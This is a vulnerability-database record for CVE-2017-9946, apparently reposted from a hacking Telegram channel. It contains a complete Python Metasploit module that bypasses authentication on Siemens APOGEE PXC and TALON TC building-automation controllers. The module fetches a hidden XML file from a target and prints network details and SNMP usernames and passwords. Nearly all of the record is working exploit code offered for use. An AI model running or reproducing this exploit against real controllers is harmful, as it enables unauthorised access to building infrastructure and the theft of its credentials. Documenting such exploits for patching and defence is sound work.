{"uuid": "b0de2857-20b3-4fcd-b191-34cc4ef390ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-9946", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/74567", "content": "Exploit Collector\nSiemens APOGEE PXC / TALON TC Authentication Bypass\n\nhttps://2.bp.blogspot.com/-n3YJZo98ptc/WWlvfHNo4ZI/AAAAAAAAIP8/W2JyxBpYTHMTjkJx5zl91eYOlgUDpw8egCLcBGAs/s1600/h84.png APOLOGEE is a Python script and Metasploit module that enumerates a hidden directory on Siemens APOGEE PXC BACnet Automation Controllers and TALON TC BACnet Automation Controllers. With a 7.5 CVSS, this exploit allows for an attacker to perform an authentication bypass using an alternate path or channel to access hidden directories in the web server. All versions prior to 3.5 are affected.\n\nSHA-256 | 9cdea8ef198269714420f4181480f5f779bae0a4ceba444e0d250e3b4071220aDownload #!/usr/bin/env python3\n\n# -*- coding: utf-8 -*-\n# 2022-05-23\n\n# Standard Modules\nfrom metasploit import module\n\n# Extra Dependencies\ndependencies_missing = False\ntry:\nimport logging\nimport requests\nimport requests\nimport xmltodict\nimport xml.etree.ElementTree as ET\nimport socket\nimport struct\nimport requests\nexcept ImportError:\ndependencies_missing = True\n# Metasploit Metadata\nmetadata = {\n'name': 'Siemens BACnet Field Panel Path Traversal',\n'description': '''\nThis module exploits a hidden directory on Siemens APOGEE PXC BACnet Automation Controllers (all versions prior to V3.5), and TALON TC BACnet Automation Controllers (all versions prior to V3.5). With a 7.5 CVSS, this exploit allows for an attacker to perform an authentication bypass using an alternate path or channel to enumerate hidden directories in the web server.\n''',\n'authors': [\n'RoseSecurity', \n],\n'date': '2022-05-23',\n'license': 'MSF_LICENSE',\n'references': [\n{'type': 'url', 'ref': 'https://sid.siemens.com/v/u/A6V10304985'},\n{'type': 'cve', 'ref': 'https://nvd.nist.gov/vuln/detail/CVE-2017-9946'},\n],\n'type': 'single_scanner',\n'options': {\n'rhost': {'type': 'string', 'description': 'Target address', 'required': True, 'default': None},\n}\n}\n\ndef run(args):\nmodule.LogHandler.setup(msg_prefix='{} - '.format(args['rhost']))\nif dependencies_missing:\nlogging.error('Module dependency (requests) is missing, cannot continue')\nreturn\n\ntry:\n# Download Hidden XML File\nr = requests.get('http://{}/{}'.format(args['rhost'], '/FieldPanel.xml'), verify=False)\n\n# Convert to Readable Format\nxml_doc = r.content\nroot = ET.fromstring(xml_doc)\n\n# Parse XML for Sensitive Data\nmodule.log(\"Remote Site ID: \" + root[18].text)\nmodule.log(\"Building Level Network Name: \" + root[26].text)\nmodule.log(\"Site Name: \" + root[27].text)\nmodule.log(\"Hostname: \" + root[28].text)\nip_addr = int(root[30].text, 16)\nmodule.log(\"IP Address: \" + socket.inet_ntoa(struct.pack(\">L\", ip_addr)))\ngw_addr = int(root[32].text, 16)\ngw_addr = str(socket.inet_ntoa(struct.pack(\">L\", gw_addr)))\nmodule.log(\"Gateway IP Address: \" + gw_addr[::-1])\nmodule.log(\"Maximum Transmission Size: \" + root[57].text)\nmodule.log(\"BACnet Device Name: \" + root[60].text)\nmodule.log(\"BACnet UDP Port: \" + root[62].text)\nmodule.log(\"Device Location: \" + root[63].text)\nmodule.log(\"Device Description: \" + root[64].text)\nmodule.log(\"Device Barcode: \" + root[88].text)\nmodule.log(\"Device Revision String: \" + root[104].text)\nmodule.log(\"Device Firmware: \" + root[105].text)\nmodule.log(\"Panel Key Name: \" + root[109].text)\nmodule.log(\"SNMP Username: \" + root[148].text)\nmodule.log(\"SNMP Private Password: \" + root[149].text)\nmodule.log(\"SNMP Authorization Password: \" + root[150].text)\n\n# Determine Running Services\nif int(root[48].text) == 1:\nmodule.log(\"Telnet Enabled\")\nelse:\nmodule.log(\"Telnet Disabled\")\n\nif int(root[84].text) == 1:\nmodule.log(\"Wireless Enabled\")\nelse:\nmodule.log(\"Wireless Disabled\")\n\nif int(root[103].text) == 3:\nmodule.log(\"Webserver Enabled\")\nelse:\nmodule.log(\"Webserver Disabled\")\n\nexcept requests.exceptions.RequestException as e:\nlogging.error('{}'.format(e))\nreturn\nif __name__ == '__main__':\nmodule.run(metadata, run) Source:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T00:00:57.140080Z"}